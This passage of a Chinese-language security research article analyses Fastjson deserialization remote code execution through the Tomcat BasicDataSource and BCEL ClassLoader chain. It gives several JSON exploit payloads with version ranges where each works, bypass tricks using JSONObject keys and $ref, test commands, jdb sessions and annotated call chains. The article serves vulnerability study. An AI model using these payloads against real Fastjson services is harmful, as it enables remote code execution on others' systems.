java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-9.0.20.jar:tomcat-juli-9.0.20.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource2.json

9) 通用性更好的PoC

前面各小节写完后，发现存于待读队列中的KINGX的大作[76]，我应该先读他这篇的，又多走了不少弯路。文中有个小八卦，应该是TSRC在2017年捕获到在野利用，其中有一个通用性更好的PoC，攻防双方都很厉害，佩服。

9.1) Fastjson_BasicDataSource3.json

这是KINGX所说的通用性更好的PoC。

{ { '@type':"com.alibaba.fastjson.JSONObject", 'a': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } }:'b' }

反序列化时首先得到一个JSONObject对象，然后将该JSONObject对象置于"JSON Key" 的位置。Fastjson在反序列化时会对"JSON Key"自动调用JSON.toString()。 JSONObject是Map的子类，执行toString()时会将当前对象转为字符串形式，会提取类中所有Field，自然会执行相应的getter方法，以此调用:

org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection()

为完成攻击，必须调用上述函数。前面都是KINGX给的解释性说明，不关我事。

JSON.parse()、JSON.parseObject()有很多重载版本，其行为各不相同。网上有一些关于它们的小结，比如哪些getter会被调用。但我要说一句，这些小结你可以领会其大意，但绝不要当成真理，我看到的所有这类小结都不严谨，以偏概全，某些情况下会误导你。

不说各种重载版本JSON.parse()、JSON.parseObject()之间的区别，单说网上常提的 "符合特定条件的getter会被调用"。参看:

com.alibaba.fastjson.util.JavaBeanInfo.build()

那些所谓的特定条件都在这个函数中体现。建议看fastjson--sources.jar，如果用 JD-GUI直接看fastjson-.jar，没有注释。参[33]。

在JavaBeanInfo.build()语境下，BasicDataSource.getConnection()不符合特定条件。而Fastjson_BasicDataSource3.json的写法增大了此getter被调用的可能性，这种写法不局限于BasicDataSource攻击链，诸君细品。

检查1.2.68的"DefaultJSONParser:472"，把key.toString()的逻辑删掉了，上述技巧失效。未查最早删除这段逻辑的版本是哪个。

9.2) 测试

java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource3.json

java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource3.json

与使用Fastjson_BasicDataSource.json时不同，上述两条命令均得手。

调试FastjsonDeserialize:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource3.json

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassLoader stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassName stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection() stop in com.sun.org.apache.bcel.internal.util.ClassLoader.createClass stop in java.lang.Runtime.exec(java.lang.String[]) stop in java.io.PrintStream.println(java.lang.String) monitor wherei

9.3) 简化版调用关系

JSON.parseObject // 8u232+1.2.24+7.0.99 JSON.parseObject // JSON:422 JSON.parseObject // JSON:452 JSON.parseObject // JSON:370 JSON.parseObject // JSON:270 JSON.parseObject // JSON:307 DefaultJSONParser.parseObject // JSON:339 // parseObject(Type type, Object fieldName) JavaObjectDeserializer.deserialze // DefaultJSONParser:639 DefaultJSONParser.parse // JavaObjectDeserializer:45 DefaultJSONParser.parseObject // DefaultJSONParser:1327 // parseObject(Map object, Object fieldName) DefaultJSONParser.parse // DefaultJSONParser:296 // key = parse() // 1.2.68的行号是285 DefaultJSONParser.parse // DefaultJSONParser:1293 DefaultJSONParser.parseObject // DefaultJSONParser:1327 MapDeserializer.deserialze // DefaultJSONParser:368 DefaultJSONParser.parseObject // MapDeserializer:28 DefaultJSONParser.parseObject // DefaultJSONParser:1081 DefaultJSONParser.parseObject // DefaultJSONParser:1076 DefaultJSONParser.parseObject // DefaultJSONParser:517 JavaBeanDeserializer.deserialze // DefaultJSONParser:368 JavaBeanDeserializer.parseRest // JavaBeanDeserializer:184 JavaBeanDeserializer.deserialze // JavaBeanDeserializer:922 JavaBeanDeserializer.parseField // JavaBeanDeserializer:600 DefaultFieldDeserializer.parseField // JavaBeanDeserializer:773 FieldDeserializer.setValue // DefaultFieldDeserializer:83 BasicDataSource.setDriverClassLoader // FieldDeserializer:96 BasicDataSource.setDriverClassName // 攻击者可控 JSON.toString // DefaultJSONParser:436 // key = (key == null) ? "null" : key.toString() // 1.2.68的行号是472，代码已经改成 // if (key == null) { key = "null"; } // 把key.toString()的逻辑删掉了 JSON.toJSONString // JSON:793 JSONSerializer.write // JSON:799 MapSerializer.write // JSONSerializer:275 BasicDataSource.getConnection // MapSerializer:251 BasicDataSource.createDataSource // BasicDataSource:1103 BasicDataSource.createConnectionFactory // BasicDataSource:1467 Class.forName // BasicDataSource:1559 // 第二形参initialize等于true Class.forName0 // java.lang.Class:348 java.lang.ClassLoader.loadClass util.ClassLoader.loadClass // java.lang.ClassLoader:351 // com.sun.org.apache.bcel.internal.util.ClassLoader if (class_name.indexOf("$$BCEL$$") >= 0) // util.ClassLoader:151 util.ClassLoader.createClass // util.ClassLoader:152 index = class_name.indexOf("$$BCEL$$") // util.ClassLoader:199 real_name = class_name.substring(index + 8) // util.ClassLoader:200 Utility.decode // util.ClassLoader:204 // com.sun.org.apache.bcel.internal.classfile.Utility // BCEL解码 ClassParser. // util.ClassLoader:205 // com.sun.org.apache.bcel.internal.classfile.ClassParser ClassParser.parse // util.ClassLoader:207 JavaClass. // ClassParser:206 JavaClass. // ClassParser:206 // com.sun.org.apache.bcel.internal.classfile.JavaClass bytes = clazz.getBytes() // util.ClassLoader:162 java.lang.ClassLoader.defineClass // util.ClassLoader:163 // cl = defineClass(class_name, bytes, 0, bytes.length) // class_name等于driverClassName属性值 // bytes源自driverClassName属性值的BCEL解码 ClassLoader.defineClass // java.lang.ClassLoader:635 java.lang.ClassLoader.defineClass1 // java.lang.ClassLoader:756 // defineClass()并不会执行静态代码块 EvilCode. // 静态代码块 // Class.forName0()中会执行静态代码块 // 但不是通过defineClass()触发的 Runtime.exec Class.newInstance // BasicDataSource:1584 EvilCode. // 无参构造函数 PrintStream.println

10) 转储反序列化过程中动态生成的类

在调试栈回溯中可能看到形如这样的类:

com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_BasicDataSource

这些类是Fastjson反序列化过程中动态生成的，只存在于内存中。参[77]，看到一招，用于转储这些反序列化过程中动态生成的类。

下面这两个函数负责动态生成上述类:

/ * 1.2.24 * * com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory.createJavaBeanDeserializer / public ObjectDeserializer createJavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) throws Exception { Class<?> clazz = beanInfo.clazz; if (clazz.isPrimitive()) { throw new IllegalArgumentException("not support type :" + clazz.getName()); }

String className = "FastjsonASMDeserializer_" + seed.incrementAndGet() + "_" + clazz.getSimpleName();
String packageName = ASMDeserializerFactory.class.getPackage().getName();
String classNameType = packageName.replace('.', '/') + "/" + className;
String classNameFull = packageName + "." + className;

ClassWriter cw = new ClassWriter();
cw.visit(V1_5, ACC_PUBLIC + ACC_SUPER, classNameType, type(JavaBeanDeserializer.class), null);



_init(cw, new Context(classNameType, config, beanInfo, 3));
_createInstance(cw, new Context(classNameType, config, beanInfo, 3));
_deserialze(cw, new Context(classNameType, config, beanInfo, 5));

_deserialzeArrayMapping(cw, new Context(classNameType, config, beanInfo, 4));
byte[] code = cw.toByteArray();

Class<?> exampleClass = defineClassPublic(classNameFull, code, 0, code.length);

Constructor<?> constructor = exampleClass.getConstructor(ParserConfig.class, JavaBeanInfo.class);
Object instance = constructor.newInstance(config, beanInfo);

return (ObjectDeserializer) instance;

}

/ * 1.2.24 * * com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory.defineClassPublic / private Class<?> defineClassPublic(String name, byte[] b, int off, int len) { return classLoader.defineClassPublic(name, b, off, len); }

在调试器中拦截defineClassPublic()，第二形参b就是动态生成的类的字节码。

假设用Eclipse Attach调试，在"Debug Shell"窗口中输入:

(new java.io.FileOutputStream("out.class")).write(b)

右键选中这行代码，选择Execute或Display。这行代码将在被调试的JVM中执行，不是在Eclipse进程空间中执行，所以out.class将保存在被调试JVM所在文件系统。远程调试时务必注意这点，我之前傻不拉叽地在Eclipse所在文件系统中找out.class，都动用Process Monitor了，硬是没发现其踪迹，差点怀疑人生。

用jdb也可以转储，原理一样。

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory.defineClassPublic

[1] com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory.defineClassPublic (ASMDeserializerFactory.java:89), pc = 0 [2] com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory.createJavaBeanDeserializer (ASMDeserializerFactory.java:80), pc = 266 [3] com.alibaba.fastjson.parser.ParserConfig.createJavaBeanDeserializer (ParserConfig.java:591), pc = 512 [4] com.alibaba.fastjson.parser.ParserConfig.getDeserializer (ParserConfig.java:461), pc = 915 [5] com.alibaba.fastjson.parser.ParserConfig.getDeserializer (ParserConfig.java:312), pc = 31 [6] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:367), pc = 1,078 [7] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,327), pc = 222 [8] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,293), pc = 2 [9] com.alibaba.fastjson.JSON.parse (JSON.java:137), pc = 20 [10] com.alibaba.fastjson.JSON.parse (JSON.java:128), pc = 4 [11] com.alibaba.fastjson.JSON.parseObject (JSON.java:201), pc = 1 [12] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11

在jdb中执行:

eval (new java.io.FileOutputStream("out.class")).write(b)

之前不知道调试器中可以这样用评估表达式，孤陋寡闻了。转储动态生成的类没啥大意义，只是满足好奇心。

1.2.68用的是:

com.alibaba.fastjson.util.ASMClassLoader.defineClassPublic()

11) 通过$ref指定被触发的getter

参[77]，作者提到threedream发现一种办法，使得Fastjson反序列过程中可以调用指定getter。本节对之测试一番。

11.1) Fastjson_BasicDataSource4.json

{ '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A', 'a': { '$ref':'$.connection' } }

Fastjson_BasicDataSource4.json长得跟Fastjson_BasicDataSource.json很像，但多了一些内容:

'a':
{
    '$ref':'$.connection'
}

按[77]的说法，从Fastjson 1.2.36开始，可以通过$ref指定被引用的属性，从而间接指定被触发的getter。

JavaBeanDeserializer支持$ref这种技巧，ThrowableDeserializer不支持，后者没有parseField()方法。

11.2) 测试

之前说过，FastjsonDeserialize调的是:

JSON.parseObject( fis, Object.class, Feature.SupportNonPublicField )

FastjsonDeserialize反序列化Fastjson_BasicDataSource.json时未能得手，原因是没机会调用:

org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection()

现在尝试用FastjsonDeserialize反序列化Fastjson_BasicDataSource4.json。之前还说过，BasicDataSource攻击链只能用于1.2.24及更低版本，主要原因是更高版本的黑名单检查。而$ref这种用法要求1.2.36及更高版本。想搞清楚$ref背后的机理， [77]里说了一些，若想搞清楚，还是自己调试吧。决定用1.2.68进行测试，启用白名单。

java \ -Dfastjson.parser.autoTypeSupport=true \ -Dfastjson.parser.autoTypeAccept=org.,com. \ -cp "fastjson-1.2.68.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource4.json

启用白名单之后可达预期目的，连异常都没有抛。注意，此次调试分析与漏洞无关，是寻找$ref背后的机理。

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Dfastjson.parser.autoTypeSupport=true \ -Dfastjson.parser.autoTypeAccept=org.,com. \ -cp "fastjson-1.2.68.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource4.json

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop at com.alibaba.fastjson.parser.ParserConfig:1311 stop in com.alibaba.fastjson.util.ASMClassLoader.defineClassPublic stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassLoader stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassName stop at com.alibaba.fastjson.parser.DefaultJSONParser:399 stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection() stop in com.sun.org.apache.bcel.internal.util.ClassLoader.createClass stop in java.lang.Runtime.exec(java.lang.String[]) stop in java.io.PrintStream.println(java.lang.String) monitor wherei

断点依次命中。

11.4) 简化版调用关系

JSON.parseObject // 8u232+1.2.68+7.0.99 // parseObject(InputStream is, Type type, Feature... features) JSON.parseObject // JSON:461 // parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features) DefaultJSONParser.parseObject // JSON:396 // parseObject(Type type, Object fieldName) JavaObjectDeserializer.deserialze // DefaultJSONParser:688 DefaultJSONParser.parse // JavaObjectDeserializer:46 DefaultJSONParser.parseObject // DefaultJSONParser:1401 // parseObject(Map object, Object fieldName) ParserConfig.checkAutoType // DefaultJSONParser:333 // typeName等于"org.apache.tomcat.dbcp.dbcp.BasicDataSource" // 通过白名单检查 // 加载"org.apache.tomcat.dbcp.dbcp.BasicDataSource" JavaBeanDeserializer.deserialze // DefaultJSONParser:395 FastjsonASMDeserializer_1_BasicDataSource.deserialze // JavaBeanDeserializer:284 JavaBeanDeserializer.parseRest JavaBeanDeserializer.deserialze // JavaBeanDeserializer:1573 // protected T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features, int[] setFlags) for (int fieldIndex = 0, notMatchCount = 0;; fieldIndex++) // JavaBeanDeserializer:511 // 循环解析属性 JavaBeanDeserializer.parseField // JavaBeanDeserializer:866 DefaultFieldDeserializer.parseField // JavaBeanDeserializer:1248 FieldDeserializer.setValue // DefaultFieldDeserializer:123 BasicDataSource.setDriverClassLoader // FieldDeserializer:110 // 处理"driverClassLoader"、"driverClassName"属性 BasicDataSource.setDriverClassName // 攻击者可控 JavaBeanDeserializer.parseField // JavaBeanDeserializer:866 // ThrowableDeserializer没有parseField()方法 DefaultJSONParser.parseExtra // JavaBeanDeserializer:1227 DefaultJSONParser.parse // DefaultJSONParser:1623 DefaultJSONParser.parse // DefaultJSONParser:1367 DefaultJSONParser.parseObject // DefaultJSONParser:1401 if (key == "$ref" // DefaultJSONParser:399 // 处理"$ref"属性 DefaultJSONParser.addResolveTask // DefaultJSONParser:444 // 后面由handleResovleTask()接着处理 DefaultJSONParser.handleResovleTask // JSON:398 if (ref.startsWith("$")) // DefaultJSONParser:1564 JSONPath.eval // DefaultJSONParser:1570 // rootObject是BasicDataSource实例 segment = segments[i] // JSONPath:106 // 只有一个"JSONPath$PropertySegment" JSONPath$PropertySegment.eval // JSONPath:107 // segment.eval(this, rootObject, currentObject) JSONPath.getPropertyValue // JSONPath:2041 JavaBeanSerializer.getFieldValue // JSONPath:3546 // beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false) // propertyName等于"connection" FieldSerializer.getPropertyValue // JavaBeanSerializer:614 FieldInfo.get // FieldSerializer:153 BasicDataSource.getConnection // FieldInfo:544

11.5) Fastjson_BasicDataSource5.json

参[32]，看了一下JSONPath的wiki，基于"$ref"属性的处理流程，可以这样写json:

{ '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A', 'a': { '$ref':"$['connection']" } }

$['connection']和$.connection都表示名为connection的属性。

java \ -Dfastjson.parser.autoTypeSupport=true \ -Dfastjson.parser.autoTypeAccept=org.,com. \ -cp "fastjson-1.2.68.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource5.json

可达预期目的，未抛异常。

java \ -Dfastjson.parser.autoTypeSupport=true \ -Dfastjson.parser.autoTypeAccept=org.,com. \ -cp "fastjson-1.2.68.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource5.json

可达预期目的，但抛了异常，输出2次"scz is here"，恶意代码被执行了2次。

强调一下，$ref本身不形成漏洞，只是增大getter被调用的可能性。

12) Fastjson_BasicDataSource6_bad.json

{ '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A', 'logWriter':null }

这是个YY出来的方案，Fastjson不能成功。同样的技术原理，Jackson可以成功。

java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource6_bad.json

java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource6_bad.json

上述两条命令均抛异常:

Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class java.io.PrintWriter at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:213) at com.alibaba.fastjson.parser.ParserConfig.createJavaBeanDeserializer(ParserConfig.java:526) at com.alibaba.fastjson.parser.ParserConfig.getDeserializer(ParserConfig.java:461)

本意是触发:

org.apache.tomcat.dbcp.dbcp.BasicDataSource.setLogWriter()

其函数原型是:

public void setLogWriter ( java.io.PrintWriter logWriter )

反序列化时先去找java.io.PrintWriter的无参构造函数，没有，抛异常。

13) Fastjson_BasicDataSource7.json (33~36可利用)

2020.10.19，微博ID为"香依香偎"的网友反馈了个问题，指出[25,32]、48及以上版本无法利用BasicDataSource，但[33,47]可以利用，而不是之前想像的25及以上版本都无法利用。参看:

https://github.com/yaojieno1/Fastjson_Poc_1.2.36_bcel https://github.com/yaojieno1/Fastjson_Poc_1.2.36_bcel/blob/master/src/main/resources/poc-bcel-36-parseobject.txt https://github.com/yaojieno1/Fastjson_Poc_1.2.36_bcel/blob/master/src/main/resources/poc-bcel-37-parseobject.txt

把Fastjson_BasicDataSource_bad_2.json、Fastjson_BasicDataSource3.json结合一下，形成Fastjson_BasicDataSource7.json。

{ 'a': { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, 'b': { '@type':"java.lang.Class", 'val':'com.sun.org.apache.bcel.internal.util.ClassLoader' }, { '@type':"com.alibaba.fastjson.JSONObject", 'c': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } }:'d' }

java \ -cp "fastjson-1.2.33.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource7.json

java \ -cp "fastjson-1.2.33.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource7.json

ls -l /tmp/scz_is_here

13.1) 为什么33~36可利用

参看:

https://github.com/alibaba/fastjson/compare/1.2.25...1.2.33 https://github.com/alibaba/fastjson/compare/1.2.25...1.2.33.diff https://github.com/alibaba/fastjson/commit/df8daa40356236a2133e335f6ea0a671e89663b0

"香依香偎"指出如下829行处的变化。

/ * 1.2.33 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType(String, Class) : Class / public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; }

if (typeName.length() >= maxTypeNameLength) {
    throw new JSONException("autoType is not support. " + typeName);
}

final String className = typeName.replace('$', '.');

if (autoTypeSupport || expectClass != null) {
    for (int i = 0; i < acceptList.length; ++i) {
        String accept = acceptList[i];
        if (className.startsWith(accept)) {
            return TypeUtils.loadClass(typeName, defaultClassLoader);
        }
    }

    for (int i = 0; i < denyList.length; ++i) {
        String deny = denyList[i];

/ * 829行，1.2.25此处只有 * * if (className.startsWith(deny)) * * 1.2.33此处增加了 * * TypeUtils.getClassFromMapping(typeName) == null / if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } }

13.2) 为什么37不可利用

参看:

https://github.com/alibaba/fastjson/compare/1.2.33...1.2.37 https://github.com/alibaba/fastjson/compare/1.2.33...1.2.37.diff https://github.com/alibaba/fastjson/commit/33eaec097f6cf7c23c7cf8dc08f9ca7b21f9f54c

"香依香偎"指出如下416行处的变化

/ * 1.2.37 * * com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(Map, Object) : Object / public final Object parseObject(final Map object, Object fieldName) { ... / * 416行，1.2.33此处是 * * key = (key == null) ? "null" : key.toString() * * 1.2.37删除了 * * key.toString() / if (object.getClass() == JSONObject.class) { if (key == null) { key = "null"; } }

我看1.2.68代码时注意到此间变化，但没有回溯调研，如今看来就是1.2.37开始的；这个变化使得相应攻击技巧失效。

14) Fastjson_BasicDataSource8.json (36~47可利用)

把Fastjson_BasicDataSource_bad_2.json、Fastjson_BasicDataSource5.json结合一下，形成Fastjson_BasicDataSource8.json。

1.2.36才开始支持$ref这种技巧。

{ 'a': { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, 'b': { '@type':"java.lang.Class", 'val':'com.sun.org.apache.bcel.internal.util.ClassLoader' }, 'c': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A', '$ref':'$.c.connection' } }

java \ -cp "fastjson-1.2.47.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource8.json

java \ -cp "fastjson-1.2.47.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource8.json

ls -l /tmp/scz_is_here

不会抛异常，直接成功。

☆ 小结

BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本。

曾经用于JdbcRowSetImpl攻击链的1.2.25至1.2.47的所有补丁绕过方案均无法用于 BasicDataSource攻击链，各有原因。

java.lang.Class.forName()有机会执行目标类静态代码块，jdb中可拦截some.。

java.lang.ClassLoader.defineClass()并不会执行目标类静态代码块。

Class.forName0()中执行静态代码块时并不是通过ClassLoader.defineClass()触发的，native方法中另有触发点，触发点位于对defineClass()调用之后的某处。

com.sun.org.apache.bcel.internal.util.ClassLoader加载class时对类名有特殊流程，如果类名中包含"$$BCEL$$"子串，则判定此类名中还包含经BCEL编码过的类的字节码。此时util.ClassLoader会从特殊类名中解码还原出类的字节码并加载之，这个操作太邪恶。这是整个攻击过程中最有意思的部分，或许在别处用得上。

就BasicDataSource攻击链而言，可以不用静态代码块执行恶意代码，后面另有机会调用恶意类的无参构造函数，jdb中可拦截some.。

"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"亦可用于攻击。

☆ 近几年为安全工程师不会饿死做出突出贡献的几个东西

a. Struts2 b. ThinkPhp c. (完形填空)

作为正经程序员，我跨界瞎猜了一个WebLogic，然后题主告诉我标准答案是Fastjson。

☆ 参考资源

[32] https://github.com/alibaba/fastjson

https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.14/fastjson-1.2.14.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.33/fastjson-1.2.33.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.33/fastjson-1.2.33-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.36/fastjson-1.2.36.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.37/fastjson-1.2.37.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.37/fastjson-1.2.37-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.41/fastjson-1.2.41.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.50/fastjson-1.2.50.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.51/fastjson-1.2.51.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.51/fastjson-1.2.51-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.59/fastjson-1.2.59.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.59/fastjson-1.2.59-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.60/fastjson-1.2.60.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.60/fastjson-1.2.60-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.61/fastjson-1.2.61.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.62/fastjson-1.2.62.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.66/fastjson-1.2.66.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.67/fastjson-1.2.67.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.67/fastjson-1.2.67-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.68/fastjson-1.2.68.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.68/fastjson-1.2.68-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.69/fastjson-1.2.69.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.69/fastjson-1.2.69-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.70/fastjson-1.2.70.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.70/fastjson-1.2.70-sources.jar

JSONPath
https://github.com/alibaba/fastjson/wiki/JSONPath

[33] FastJson反序列化漏洞利用的三个细节TemplatesImpl利用链 - KINGX [2018-07-06] https://kingx.me/Details-in-FastJson-RCE.html https://mp.weixin.qq.com/s/C1Eo9wst9vAvF1jvoteFoA https://paper.seebug.org/636/

[73] https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/ https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/tomcat-dbcp-7.0.99.jar

https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/
https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/dbcp-6.0.53.jar

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/tomcat-dbcp-9.0.20.jar

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/tomcat-juli-9.0.20.jar

[76] Java动态类加载当FastJson遇到内网 - KINGX [2019-12-31] https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

[77] 浅谈fastjson反序列化漏洞 - [2020-04-13] http://blog.0kami.cn/2020/04/13/talk-about-fastjson-deserialization/